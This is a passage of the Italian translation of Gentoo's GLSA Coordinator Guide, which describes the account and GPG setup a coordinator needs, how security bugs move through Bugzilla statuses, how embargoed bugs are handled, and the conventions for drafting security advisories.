+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/security/it/coordinator_guide.xml,v 1.9 2009/11/08 17:01:24 scen Exp $ -->
+
+<guide link="/security/it/coordinator_guide.xml" lang="it">
+<title>Guida per il Coordinatore dei GLSA</title>
+
+<author title="Autore">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Autore">
+  <mail link="jaervosz@gentoo.org">Sune Kloppenborg Jeppesen</mail>
+</author>
+<author title="Autore">
+  <mail link="vorlon@gentoo.org">Matthias Geerdsen</mail>
+</author>
+<author title="Autore">
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+<author title="Traduzione">
+  <mail link="dungeon01@gmail.com">Dungeon01</mail>
+</author>
+<author title="Traduzione">
+  <mail link="luigi.mantellini@gmail.com">Luigi Mantellini</mail>
+</author>
+
+<abstract>
+Questo documento contiene le procedure, i suggerimenti e soluzioni utili per il
+coordinatore dei GLSA
+</abstract>
+
+<!-- Il contenuto di questo documento è distribuito sotto licenza CC-BY-SA -->
+<!--Consultare  http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.8.8</version>
+<date>2009-05-09</date>
+
+<chapter>
+<title>Prerequisiti</title>
+<section>
+<title>Account</title>
+<body>
+
+<p>
+Deve essere definito un determinato numero di account prima di lavorare come
+coordinatore di GLSA. Per generare un GLSA è necessario ottenere un account <uri
+link="https://glsamaker.gentoo.org:4433/">GLSAMaker</uri>. Per gestire bug di
+sicurezza bisogna avere un account su <uri
+link="https://bugs.gentoo.org">Bugzilla</uri>, aggiornato con privilegi di
+<c>editbugs</c>. Per poter inviare un GLSA bisogna avere un indirizzo del tipo
+tuonome@gentoo.org (in questo caso per essere uno sviluppatore Gentoo). Questo
+indirizzo email dovrà poi essere autorizzato ad inviare messaggi al
+mailing-group gentoo-announce. Per rendere definitivi degli XML di un GLSA è
+necessario che al proprio account di sviluppatore sia abilitata la possibilità
+di poter eseguire "commit access" verso la directory GLSA  nel CVS repository di
+<c>Gentoo</c>. Infine è necessario un nick IRC. Gli sviluppatori Gentoo sono
+tenuti a mostrare il proprio nick nel canale #gentoo-security ogni qual volta
+siano on-line.
+</p>
+
+<note>
+Tutti i nomi utilizzati dovrebbero essere costanti in modo tale da rendere più
+semplice l'autenticazione.
+</note>
+
+</body>
+</section>
+<section>
+<title>La chiave GPG</title>
+<body>
+
+<p>
+A questo punto bisogna creare una chiave GPG per il proprio account email
+tuonome@gentoo.org. È possibile generare una chiave specifica o aggiungere
+l'indirizzo @gentoo.org ad una chiave già esistente. Successivamente il proprio
+key ID dovrebbe <uri link="/proj/en/infrastructure/ldap.xml">impostato in
+LDAP</uri>, controllando inoltre che il proprio nome e lo key ID appaiano
+nell'<uri link="/proj/en/devrel/roll-call/userinfo.xml">elenco degli
+sviluppatori</uri>. È molto importante che la chiave venga pubblicata almeno sul
+server delle chiavi <uri
+link="http://subkeys.pgp.net:11371">subkeys.pgp.net</uri>, tuttavia la si può
+pubblicare anche su altri.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ambiente</title>
+<body>
+
+<p>
+Bisogna installare un ambiente CVS sulla propria macchina locale in modo tale da
+poter effettuare i commit dei propri GLSA. Ciò viene reso possibile eseguendo il
+checkout di una parte del CVS repository di <c>Gentoo</c> verso una directory
+data. (per esempio ~/gentoo_cvs):
+</p>
+
+<pre caption="Configurazione ambiente CVS">
+you@home you $ <i>mkdir gentoo_cvs</i>
+you@home you $ <i>cd gentoo_cvs</i>
+you@home gentoo_cvs $ <i>export CVS_RSH="ssh"</i>
+you@home gentoo_cvs $ <i>export CVSROOT="yourname@cvs.gentoo.org:/var/cvsroot"</i>
+you@home gentoo_cvs $ <i>cvs checkout gentoo/xml/htdocs/security</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Sottoscrizioni a Mailing-list</title>
+<body>
+
+<p>
+Per poter inviare messaggi verso le liste dove saranno pubblicate le GLSA,
+bisogna iscrivere il proprio account tuonome@gentoo.org ad esse:
+</p>
+
+<table>
+<tr>
+  <th>Lista</th>
+  <th>Pagina d'iscrizione</th>
+</tr>
+<tr>
+  <ti>bugtraq@securityfocus.com</ti>
+  <ti><uri>http://www.securityfocus.com/archive</uri></ti>
+</tr>
+<tr>
+  <ti>full-disclosure@lists.grok.org.uk</ti>
+  <ti>
+    <uri>https://lists.grok.org.uk/mailman/listinfo/full-disclosure</uri>
+  </ti>
+</tr>
+</table>
+
+<note>
+Ci si può iscrivere ad una versione di tipo digest (raccolta) della
+Full-Disclosure.
+</note>
+
+<p>
+Come sviluppatori di sicurezza si verrà aggiunti alla lista gentoo-core e al
+mailgroup security@gentoo.org. È consigliabile iscriversi anche a
+gentoo-announce, gentoo-dev e gentoo-security.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Tipi di bug di Sicurezza e componenti di Bugzilla</title>
+<section>
+<body>
+
+<p>
+Tutti bug di sicurezza sono reperibili nella categoria <c>Gentoo Security</c> di
+Bugzilla. Se si individua un bug di sicurezza che ha un nome di categoria
+errato, si prega di correggerlo immediatamente. Vi sono differenti tipologie di
+bug di sicurezza, e ciascuno ha il proprio componente.
+</p>
+
+</body>
+</section>
+<section>
+<title>Vulnerabilità</title>
+<body>
+
+<p>
+Le vulnerabilità sono bug di sicurezza relativi alla versione originaria di un
+software o bug introdotti nell'impacchettamento degli ebuild di Gentoo. Questi
+bug sono riportati nei GLSA. I bug relativi al kernel hanno la loro propria
+categoria e non dovrebbero essere archiviati come <c>Vulnerabilità</c>
+(vulnerability).
+</p>
+
+</body>
+</section>
+<section>
+<title>Kernel</title>
+<body>
+
+<p>
+Le vulnerabilità sono trattate utilizzando una procedura a parte. Per
+distinguerle facilmente dagli altri bug, esse vengono archiviate sotto la
+categoria <c>Kernel</c>. I bug relativi al Kernel non risultano nei GLSA ma
+hanno il proprio meccanismo di pubblicazione (Gentoo KISS).
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurazione Predefinita</title>
+<body>
+
+<p>
+I pacchetti Gentoo dovrebbero avere le impostazioni predefinite più sicure
+possibile. I bug che toccano le configurazioni predefinite sono inseriti
+quando tali configurazioni, fornita con il pacchetto, possono essere migliorate
+in termini di sicurezza. I bug relativi alla <c>Configurazione Predefinita</c>
+non generano alcun GLSA.
+</p>
+
+</body>
+</section>
+<section>
+<title>Auditing</title>
+<body>
+
+<p>
+Le Vulnerabilità rilevate dagli sviluppatori di Gentoo dovrebbero essere
+controllate più volte prima di essere rese note (verso le liste degli
+sviluppatori originali del software o le liste inerenti la sicurezza). Esse
+vengono archiviate come bug confidenziali (Confidential Bugs - si veda qui di
+seguito) e con il componente <c>Auditing</c>. Quando l'individuazione del bug è
+stata verificata, questo viene commutato a <c>Vulnerabilità</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bug di tipo limitato ("Restricted")</title>
+<body>
+
+<p>
+A volte un bug viene comunicato al Team di Sicurezza di Gentoo sotto promessa
+di quest'ultimo di mantenerlo segreto fino ad un pubblico rilascio, tipicamente
+conosciuta come data d'embargo odata di rilascio coordinato. I bug limitati
+hanno la checkbox "Gentoo Security" selezionata, e quindi possono essere
+raggiunti solo da membri del Team di Sicurezza di Gentoo. Gli attori esterni (il
+manutentore del pacchetto, il tester dell'architettura, Release Engineering)
+possono essere aggiunti in base nominale, gli alias non dovrebbero mai essere
+utilizzati (questo perché gli alias sono troppo larghi e non permettono commenti
+ai bug).
+</p>
+
+<p>
+Vi sono tre differenti tipi di bug "restricted" (con limitazioni. ndt). I primi
+(e i più segreti) sono i bug <c>CLASSIFIED</c> (classificato, ndt). Un bug è
+definito classified quando contiene informazioni che non dovrebbero mai venir
+rilasciate. Questo include citazioni di email personali inviate a mailing-list
+ristrette o patch intermedie non rese pubbliche. I bug classificati vengono
+identificati dalla keyword <c>CLASSIFIED</c>, nella loro Status Whiteboard. Una
+volta CLASSIFIED, un bug non può tornare allo stato non classificato a meno che
+almeno due responsabili della sicurezza siano d'accordo nel declassare il
+suddetto bug. I bug <c>CLASSIFIED</c> non dovrebbero mai essere aperti (resi
+cioè "UNRESTRICTED").
+</p>
+
+<p>
+Il secondo tipo di bug è <c>CONFIDENTIAL</c>. questi sono bug contenenti
+informazioni che dovrebbero essere tenute segrete fino ad una data di emissione
+coordinata precedentemente concordata. Nessun aspetto del bug (nome del
+pacchetto colpito, descrizione, patch proposte e qualsiasi altra cosa) dovrebbe
+mai uscire allo scoperto. Le patch NON devono essere inserite nel CVS di
+portage.
+</p>
+
+<p>
+Il terzo (e meno segreto) tipo di bug "Restricted" è dato dai bug
+<c>SEMI-PUBLIC</c> (semipubblico, ndt). I bug semipubblici dovrebbero restare
+segreti, ma le patch potrebbero essere inserite in portage. Questo accade di
+solito quando la vulnerabilità non è sconosciuta dalla maggioranza del
+pubblico ma è accessibile da chiunque (per esempio una patch sul CVS originale
+del software).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gestione pubblica della vulnerabilità del bug</title>
+<section>
+<title>Regole della "Status Whiteboard"</title>
+<body>
+
+<p>
+Il pannello di stato in Bugzilla consente al team di Sicurezza di tener traccia
+dei passi effettuati verso la risoluzione del bug di sicurezza. Dovrebbe seguire
+il seguente modello "RATING [status] coordinatore", dove:
+</p>
+
+<table>
+<tr>
+  <th>Elemento</th>
+  <th>Contenuto</th>
+  <th>Esempio</th>
+</tr>
+<tr>
+  <ti>RATING</ti>
+  <ti>
+    Il rating della vulnerabilità, in base alle regole di politica correnti
+  </ti>
+  <ti>B3</ti>
+</tr>
+<tr>
+  <ti>[status]</ti>
+  <ti>Lo stato effettivo del bug, con informazioni aggiuntive(opzionali)</ti>
+  <ti>[ebuild+]</ti>
+</tr>
+<tr>
+  <ti>coordinatore</ti>
+  <ti>
+    Il nickname del coordinatore assegnato al bug in questione, opzionalmente
+  </ti>
+  <ti>koon</ti>
+</tr>
+</table>
+
+<p>
+Sono considerati validi i seguenti tipi di status:
+</p>
+
+<table>
+<tr>
+  <th>Status</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>upstream</ti>
+  <ti>
+    In attesa che uno sviluppatore pubblichi in "upstream" (provenienza
+    originale del software, ndt) una nuova versione o patch
+  </ti>
+</tr>
+<tr>
+  <ti>upstream+</ti>
+  <ti>
+    Nessuna risposta dagli sviluppatori originali del software ("upstream")
+  </ti>
+</tr>
+<tr>
+  <ti>ebuild</ti>
+  <ti>
+    In attesa che il mantenitore del pacchetto di Gentoo fornisca un ebuild
+    corretto
+  </ti>
+</tr>
+<tr>
+  <ti>ebuild+</ti>
+  <ti>
+    Nessuna risposta ricevuta dal mantenitore, si prende in considerazione un
+    aggiornamento di sicurezza
+  </ti>
+</tr>
+<tr>
+  <ti>stable</ti>
+  <ti>
+    In attesa che le architetture contrassegnino il pacchetto con le keyword
+    appropriate
+  </ti>
+</tr>
+<tr>
+  <ti>stable+</ti>
+  <ti>
+    Alcuni team di architettura stanno impiegando troppo tempo per
+    contrassegnare il pacchetto in manera appropriata
+  </ti>
+</tr>
+<tr>
+  <ti>glsa?</ti>
+  <ti>Il team di sicurezza deve decidere se è necessario un GLSA</ti>
+</tr>
+<tr>
+  <ti>glsa</ti>
+  <ti>In attesa che il coordinatore invii il suo GLSA</ti>
+</tr>
+<tr>
+  <ti>glsa+</ti>
+  <ti>
+    Il GLSA è in ritardo, ogni coordinatore di GLSA può correggerlo ed inviarlo
+  </ti>
+</tr>
+</table>
+
+<p>
+Sono ammesse le seguenti informazioni aggiuntive:
+</p>
+
+<table>
+<tr>
+  <th>Informazione aggiuntiva</th>
+  <th>Descrizione</th>
+  <th>Stati Corrispondenti</th>
+</tr>
+<tr>
+  <ti>tomask</ti>
+  <ti>Quando un package.mask è stato richiesto verso il pacchetto</ti>
+  <ti>upstream+, ebuild+</ti>
+</tr>
+<tr>
+  <ti>masked</ti>
+  <ti>se il pacchetto era stato segnato "masked" come soluzione temporanea</ti>
+  <ti>upstream+, ebuild+</ti>
+</tr>
+<tr>
+  <ti>Arch names</ti>
+  <ti>Quando solo una o due architetture supportate stanno bloccando il bug</ti>
+  <ti>stable+</ti>
+</tr>
+<tr>
+  <ti>tempglsa</ti>
+  <ti>
+    Quando un GLSA temporaneo è stato pubblicato come soluzione temporanea
+  </ti>
+  <ti>upstream+, ebuild+</ti>
+</tr>
+<tr>
+  <ti>blocked</ti>
+  <ti>Quando il bug è bloccato da un altro bug</ti>
+  <ti>(qualsiasi)</ti>
+</tr>
+</table>
+
+<p>
+Esempi:
+</p>
+
+<table>
+<tr>
+  <ti>C0 [stable]</ti>
+</tr>
+<tr>
+  <ti>A3 [ebuild] jaervosz</ti>
+</tr>
+<tr>
+  <ti>B1 [stable+ amd64] koon</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Determinare lo stato di partenza del bug</title>
+<body>
+
+<p>
+Quando la correzione non è disponibile dallo sviluppatore originale e/o non è
+stata rilasciata una patch ufficiale per risolvere il problema, il bug si trova
+in stato [upstream]. Se la soluzione deve essere trovata dagli sviluppatori
+Gentoo, il bug è in stato [inhouse]. Se è disponibile una correzione, il bug si
+trova nello stato [ebuild]. Se la correzione è stata inserita in portage, il
+bug assume lo stato [stable]. Quando una correzione è presente in portage con
+tutte le chiavi richieste correttamente configurate, il bug entra in stato
+[glsa].
+</p>
+
+</body>
+</section>
+<section>
+<title>Stato dei bug in [upstream]</title>
+<body>
+
+<p>
+Nello stato [upstream], si è in attesa della pubblicazione di una versione della
+correzione o di una patch decente. Questo stato richiede controlli regolari
+degli sviluppatori originali per informazioni: mailing list di sviluppo e
+annunci, siti internet, database di bug database, CVS ove possibile, sono tutte
+fonti importanti d'informazioni. Patch non ufficiali devono essere considerate
+soltanto se lo sviluppatore originale non reagisce alla vulnerabilità, e devono
+essere controllate più volte per assicurarsi che non siano maligne. Quando viene
+annunciata una nuova versione di una correzione, o viene rilasciata una nuova
+patch, il bug entra nello stato [ebuild].
+</p>
+
+<p>
+Se dal ramo di sviluppo originale non v'è reazione né patch alcuna, si entra
+nello stato [upstream+]. L'unica opzione consiste nell'applicare una
+security-mask al pacchetto vulnerabile e pubblicare un glsa temporaneo se
+necessario. Si veda la politica corrente per ulteriori dettagli inerenti alla
+procedura d'approvazione del security-masking. Il pannello di stato dovrebbe
+quindi essere flaggato con le keyword masked e/o tempglsa e la severità del bug
+impostata ad <c>enhancement</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bug in stato [ebuild]</title>
+<body>
+
+<p>
+In stato [ebuild], bisogna identificare il manutentore del pacchetto, ed
+imporgli di generare una correzione. Le fonti per identificare il gruppo o lo
+sviluppatore responsabile della manutenzione del pacchetto sono il file
+metadata.xml, presente in portage nella directory relativa del pacchetto, ed il
+file Changelog che mostra chi ha effettuato gli ultimi aggiornamenti di
+versione. Mettere in cc: il gruppo e/o il mantenitore responsabile del pacchetto
+inerente al bug e chiedere che venga fornita un ebuild per la versione della
+correzione corrente. Controllare periodicamente che un ebuild non sia stato
+inserito in portage senza alcun commento riguardo il bug (a volte accade).
+Quando l'ebuild appare, il bug entra in stato [stable]
+</p>
+
+<p>
+Se il manutentore non lo rivela, si arriva allo stato [ebuild+]. In casi di
+una versione correttiva disponibile, testare se un semplice incremento di
+versione funziona (basta rinominare l'ebuild all'ultima versione e farne
+l'emerge). Se è disponibile solamente una patch, testare se quest'ultima viene
+applicata correttamente. A questo punto trovare un wrangler di bug di sicurezza
+con diritti x86 per eseguire l'incremento di versione e segnare l'ebuild ~ per
+testarlo.
+</p>
+
+<p>
+Se l'incremento di versione non è facile e/o si rileva un problema con l'ebuild
+in questione, l'unica opzione consiste nell'applicare una security-mask al
+pacchetto non mantenuto e pubblicare un GLSA temporaneo, se necessario. Si veda
+la politica corrente per ulteriori dettagli inerenti la procedura
+d'approvazione del security-masking. Il pannello di stato dovrebbe quindi essere
+flaggato con le keyword "masked" e/o "tempglsa" e la bug severity impostata a
+<c>enhancement</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bug in stato [stable] </title>
+<body>
+
+<p>
+Nello stato [stable], bisogna determinare di quali chiavi l'ebuild fornito
+necessita prima che il GLSA venga pubblicato. Ciò può essere ingannevole.
+Bisogna considerare ogni versione attualmente presente in portage in modo
+che l'ebuild abbia <e>le stesse o più keyword "stable"</e> di qualsiasi altro
+pacchetto presente nel portage. Ecco un esempio:
+</p>
+
+<table>
+<tr>
+  <th>Versioni</th>
+  <th>Keyword</th>
+</tr>
+<tr>
+  <ti>Influenzate</ti>
+  <ti>x86 ~ppc ~ia64</ti>
+</tr>
+<tr>
+  <ti>Influenzate</ti>
+  <ti>x86 ppc</ti>
+</tr>
+<tr>
+  <ti>Influenzate</ti>
+  <ti>~x86 ~ppc ~ia64</ti>
+</tr>
+<tr>
+  <ti>La correzione deve avere:</ti>
+  <th>x86 ppc ~ia64</th>
+</tr>
+</table>
+
+<note>
+È possibile usare <uri>http://packages.gentoo.org</uri> per aiutarsi nel
+determinare le keyword necessarie. Qualora i pacchetti interessati fossero stati
+rimossi troppo presto dal manutentore del pacchetto stesso, usare l'accesso
+<uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/">CVS</uri> per cercare
+nell'archivio delle vecchie keyword.
+</note>
+
+<p>
+Una volta determinate (ed inserite come riferimento nel bug) le keyword
+necessarie, mettere in CC i team di sviluppo delle varie architetture, chiedendo
+loro di contrassegnare l'ebuild come "stable" o ~ di conseguenza. Per
+assicurarsi che i team delle architetture prendano in carico il bug, non
+dimenticarsi di aggiungere "STABLEREQ" al campo "Keywords" del bug. Gli alias
+per le varie architetture sono del tipo architettura@gentoo.org (x86@gentoo.org,
+ppc@gentoo.org...). Tutte le architetture (incluse quelle "non supportate")
+devono essere contattate. Ma si tenga conto che solo le architetture
+"supportate" (come definite da regolamento) sono necessarie prima che il bug
+possa avanzare allo stato [glsa]. Controllare periodicamente per verificare se
+vi sono nuove keyword nell'ebuild, dato che talvolta queste vengono modificate
+senza lasciare nessun commento nel bug. Non appena le keyword richieste sono
+state inserite nel bug per tutte le architetture supportate, il bug entra nello
+stato [glsa].
+</p>
+
+<p>
+Durante il periodo di preparazione al rilascio si dovrebbe inoltre inserire in
+CC Release Engineering (release@gentoo.org) su tutti i bug aventi stato
+[stable],
+</p>
+
+<p>
+Se i team di sviluppo per le relative architetture impiegano troppo tempo nel
+testare o cambiare le proprie keyword, o rifiutano di contrassegnare come
+stabile un pacchetto per problemi non ancora risolti, il bug assume lo stato di
+[stable+]. Bisogna rintracciare i mantenitori delle varie architetture affinché
+contrassegnino come stabile il pacchetto, e diano supporto nel testing dello
+stesso. Bisognerebbe inoltre convincere gli sviluppatori per le varie
+architetture che se scoprono un bug in un'ebuild che era già presente nelle
+precedenti versioni "stable", l'ebuild dovrebbe essere contrassegnata come
+"stable" anche se non è attualmente stabile, come specificato nel regolamento.
+Se non possono essere rintracciate le keyword, l'unica opzione rimanente è
+quella di applicare una security-mask al pacchetto: non esiste alcuna versione
+accettabile non affetta dal bug, quindi è come se nessuna correzione accettabile
+sia stata fornita nel ramo di sviluppo originale.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bug in stato [glsa]</title>
+<body>
+
+<p>
+Nello stato [glsa], il bug di sicurezza è stato corretto. Bisogna pubblicare il
+GLSA o semplicemente chiudere il bug senza GLSA. Il regolamento determina in
+quali casi un GLSA sia necessario e in quali casi non lo è. Vi sono anche
+situazioni nelle quali è necessario un voto per definire se un GLSA è necessario
+o meno. Se almeno due membri del Team di sicurezza votano per "no GLSA", allora
+nessun GLSA dovrebbe essere pubblicato. Il bug rimane in stato [glsa] finché non
+viene pubblicato il GLSA.
+</p>
+
+<p>
+Quando è necessario un GLSA, ma non è stato pubblicato nulla, il bug entra nello
+stato [glsa+]. Questo è il caso in cui il coordinatore GLSA assegnato non ha
+steso e/o rivisto e/o inviato il proprio GLSA. Gli altri membri del team di
+sicurezza dovrebbero prendere il controllo della situazione a questo punto e
+finalizzare il GLSA.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gestione delle vulnerabilità dei bug "confidential"</title>
+<section>
+<title>Regole del pannello di stato (Status Whiteboard)</title>
+<body>
+
+<p>
+I bug confidenziali dovrebbero seguire questo modello: "RATING [status]
+coordinatore / KEYWORD CRD", dove:
+</p>
+
+<table>
+<tr>
+  <th>Elemento</th>
+  <th>Contenuto</th>
+  <th>Esempio</th>
+</tr>
+<tr>
+  <ti>RATING</ti>
+  <ti>
+    Il rating della vulnerabilità, facendo riferimento alle politiche correnti
+  </ti>
+  <ti>B3</ti>
+</tr>
+<tr>
+  <ti>[status]</ti>
+  <ti>Lo stato effettivo del bug, con informazioni aggiuntive (opzionali)</ti>
+  <ti>[ebuild+]</ti>
+</tr>
+<tr>
+  <ti>coordinator</ti>
+  <ti>Il nickname del coordinatore assegnato al bug in questione, opzionale</ti>
+  <ti>koon</ti>
+</tr>
+<tr>
+  <ti>KEYWORD</ti>
+  <ti>
+    Il livello confidenziale del bug, può essere CLASSIFIED, CONFIDENTIAL,
+    SEMI-PUBLIC
+  </ti>
+  <ti>CLASSIFIED</ti>
+</tr>
+<tr>
+  <ti>CRD</ti>
+  <ti>
+    La data di rilascio coordinato per la rivelazione dei bug. Se non viene
+    fornito un'orario, prendere come riferimento 14.00 UTC
+  </ti>
+  <ti>2009-01-06 18:00 UTC</ti>
+</tr>
+
+</table>
+
+<p>
+I seguenti stati supplementari sono accettati per i bug confidenziali:
+</p>
+
+<table>
+<tr>
+  <th>Stato</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>preebuild</ti>
+  <ti>
+    Il mantenitore del pacchetto specifico è stato chiamato a preparare
+    un'ebuild che non deve essere inserita nel tree del CVS, ma allegata al bug
+  </ti>
+</tr>
+<tr>
+  <ti>prestable</ti>
+  <ti>
+    I collaudatori di una specifica architettura sono stati chiamati a testare
+    un ebuild non ancora pubblico
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Maneggiare bug confidenziali</title>
+<body>
+
+<p>
+I bug semipubblici dovrebbero essere trattati come bug pubblici, a parte il
+fatto che nessun gruppo di sviluppo o alias per le varie architetture dovrebbe
+essere messo in CC tranne gli sviluppatori specifici per quel bug.
+</p>
+
+<p>
+I bug confidenziali e classificati richiedono maggiore attenzione. L'ebuild e i
+file per correggere la vulnerabilità NON dovrebbero essere aggiunti al CVS del
+portage, e nessun aspetto di quei bug dovrebbe essere discusso in pubblico.
+Patch o archivi tarball provenienti da overlay di portage possono comunque
+essere allegati al bug. I collaudatori dovranno installare il proprio overlay
+per testarlo. L'idea con questi bug è di preparare l'ebuild e farlo testare
+entro la data di rilascio concordata, in modo tale da poterlo rilasciare con
+tutte le keyword necessarie insieme al GLSA nello stesso istante in cui il
+rilascio dell'ebuild diventa pubblico.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Preparare bozze di GLSA con GLSAMaker</title>
+<section>
+<title>Regole Generali</title>
+<body>
+
+<p>
+Il GLSA dovrebbe utilizzare il nome del software colpito prestando attenzione a
+maiuscole/minuscole, non utilizzando, quindi il nome di pacchetto Gentoo. Per
+esempio, dovreste utilizzare "MySQl" e non "mysql". I nomi in minuscolo
+dovrebbero essere utilizzati solo se il software ha un nome tutto in minuscolo o
+se il software è identificato dal nome del suo comando (ad esempio
+"traceroute").
+</p>
+
+<p>
+Non copiare nessuna parte di una descrizione già esistente, ma utilizzarle come
+fonti d'informazione per il GLSA. Se viene copiato, per esempio, una descrizione
+di un software da un sito internet, si prega di utilizzare una citazione e le
+virgolette.
+</p>
+
+</body>
+</section>
+<section>
+<title>Titolo, Sinossi, Keyword</title>
+<body>
+
+<p>
+Il titolo deve essere corto (&lt; 60  caratteri nella maggior parte dei casi) ed
+indicare il nome dell'applicazione (non la categoria).  Dovrebbe consentire
+d'identificare chiaramente la vulnerabilità senza entrare nei dettagli. La
+versione dovrebbe essere omessa, tranne nei rari casi in cui sia permesso
+identificare un pacchetto più chiaramente. I pacchetti multipli colpiti
+dovrebbero essere separati da una virgola. Gli esempi includono:
+</p>
+
+<table>
+<tr>
+  <ti>MySQL: creazione insicura di un file temporaneo</ti>
+</tr>
+<tr>
+  <ti>Exim: verify=header_syntax buffer overflow</ti>
+</tr>
+<tr>
+  <ti>Apache 1.3: Heap overflow in mod_redirect</ti>
+</tr>
+<tr>
+  <ti>MPlayer, xine-lib: Vulnerabilities in RTSP stream handling</ti>
+</tr>
+</table>
+
+<p>
+La sinossi è una corta (&lt; 160 caratteri) ma completa descrizione della
+vulnerabilità. Gli esempi includono:
+</p>
+
+<table>
+<tr>
+  <ti>
+    Due utilità MySQL creano file temporanei con percorsi fissi, consentendo
+    ad un attaccante di utilizzare un collegamento simbolico per ingannare MySQL
+    nel sovrascrivere dati importanti.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    Sono stati rilevati vulnerabilità multiple, inclusi buffer overflow
+    eseguibili da remoto, nel codice comune tra Mplayer e la libreria xine
+  </ti>
+</tr>
+</table>
+
+<p>
+La categoria delle keyword GLSA è solitamente impostata a "Ebuild" e dovrebbe
+contenere il nome del principale software vulnerabile (per esempio "MySQL").
+Altri tipi di keyword includono "Portage" (per bug del portage) e
+"Infrastructure" (compromissioni dei servers).
+</p>
+
+</body>
+</section>
+<section>
+<title>Accesso, Severity</title>
+<body>
+
+<p>
+L'accesso dovrebbe essere "Locale" o "Remoto". Le vulnerabilità locali possono
+essere gestite solo da un utente locale del sistema in questione. Per esempio
+implica eseguire uno script per elevare i privilegi, oppure accedere ad una
+directory temporanea per far partire un attacco tramite collegamento simbolico.
+Le vulnerabilità remote sono quelle che possono essere eseguite da un attaccante
+con o senza un account sul sistema bersaglio. Le vulnerabilità remote possono
+essere sia attive (sfruttando un server in ascolto per inviare codice maligno) o
+passive (attirare un utente per collegare il software residente sul client ad un
+server "maligno" o ad aprire file con codice analogo).
+</p>
+
+<p>
+La severità è un'indicazione di quanto in profondità arrivi la vulnerabilità.
+Viene definita nella Vulnerability Treatment Policy, nella tabella "Evaluate the
+vulnerability type". Si noti che dipende solo dal massimo rischio, non al
+fattore comune della configurazione delle opzioni al rischio. Un buffer overflow
+che consenta l'esecuzione di codice arbitrario in un raro client software, solo
+quando si utilizza una specifica opzione di configurazione, teoricamente rimane
+una severità  Alta". Un DoS in tutte le configurazioni di Apache teoricamente
+resta severità  "Normale". In rari casi la severità può essere corretta, quando
+molti membri del team di sicurezza sono d'accordo, verso un livello più alto.
+Per esempio, una vulnerabilità che consentisse il deface di un sito internet in
+Apache ed in tutte le configurazioni dovrebbe probabilmente essere a severità
+"Alta" piuttosto che "Normale"
+</p>
+
+</body>
+</section>
+<section>
+<title>Pacchetti vulnerabili, inalterati</title>
+<body>
+
+<p>
+Questa sezione fornisce informazioni sulle versioni dei pacchetti che sono
+rimasti inalterati o vulnerabili alla vulnerabilità descritta nell'informativa
+corrente. Prestare attenzione particolare a quei numeri, perché rappresentano
+una delle poche zone dove ogni errore implica un'errata pubblicazione.
+</p>
+
+<p>
+Ci sono diversi campi che compongono il valore di una versione. Il campo
+contenente il nome del pacchetto deve elencare il nome del pacchetto e la
+categoria ("net-mail/exim"). Riguardo il campo "Architetture", inserire "*"
+quando la descrizione della versione si applica a tutte le architetture
+contrassegnate nell'ebuild. Utilizzare voci multiple per architetture differenti
+se la descrizione della versione è differente di architettura in architettura.
+Il campo "Auto" deve essere impostato a "true" se il pacchetto è aggiornabile
+via emerge. Per i campi versione possono esservi molteplici casistiche.
+</p>
+
+<impo>
+In questa sezione (e soltanto in questa sezione), le architetture dovrebbero
+essere scritte così come compaiono nelle keyword (cioè "x86", "amd64",
+"sparc"...), e non in maiuscolo.
+</impo>
+
+<p>
+Il caso più semplice si verifica  quando la vulnerabilità è presente in tutte
+le vecchie versioni ed è corretta in tutte le versioni più recenti rispetto alla
+versione di una specifica correzione. In questo caso, usare "&gt;= prima
+versione corretta" come inalterata e "&lt;= ultima versione colpita" come
+vulnerabile. Controllare più volte che non esista un'ebuild fra l'ultima
+versione colpita e la prima versione corretta. Qualora ci si trovasse in dubbio,
+usare "&gt;= prima versione corretta" come inalterata e "&lt;= prima versione
+corretta" come vulnerabile.
+</p>
+
+<p>
+Un caso più complesso si verifica quando la vulnerabilità si presenta soltanto
+in alcune versioni recenti. Si propone l'esempio di un pacchetto dove la
+versione 1.2.8-r2 non è stata colpita, le versioni 1.2.9, 1.2.9-r1 e 1.2.9-r2
+sono state colpite e la versione 1.2.10 è stata corretta. In questo caso ci sono
+due possibilità.
+</p>
+
+<table>
+<tr>
+  <th>Inalterata</th>
+  <th>Vulnerabile</th>
+</tr>
+<tr>
+  <ti>&gt;=1.2.10</ti>
+  <ti>==1.2.9 ==1.2.9-r1 ==1.2.9-r2</ti>
+</tr>
+<tr>
+  <ti>&lt;=1.2.8-r2 &gt;=1.2.10</ti>
+  <ti>&lt;1.2.10</ti>
+</tr>
+</table>
+
+<p>
+Per concludere, quando il pacchetto non ha una versione corretta, omettere
+l'opzione "inalterato" (unaffected) per quel pacchetto ed impostare "Auto" a
+"no".
+</p>
+
+<impo>
+Quando le versioni delle correzioni sono complesse, controllare più volte che le
+versioni XML e TXT del GLSA elenchino correttamente le proprie versioni
+</impo>
+
+</body>
+</section>
+<section>
+<title>Background, Descrizione, Impatto</title>
+<body>
+
+<p>
+La sezione Background fornisce le informazioni sul pacchetto a rischio. Descrive
+brevemente cos'è e fornisce tutte le informazioni utili a comprendere la parte
+del pacchetto vulnerabile. La sezione Background dovrebbe essere più corta della
+sezione di descrizione o della sezione impatto (Impact). Tra gli esempi da
+seguire si include:
+</p>
+
+<table>
+<tr>
+  <ti>
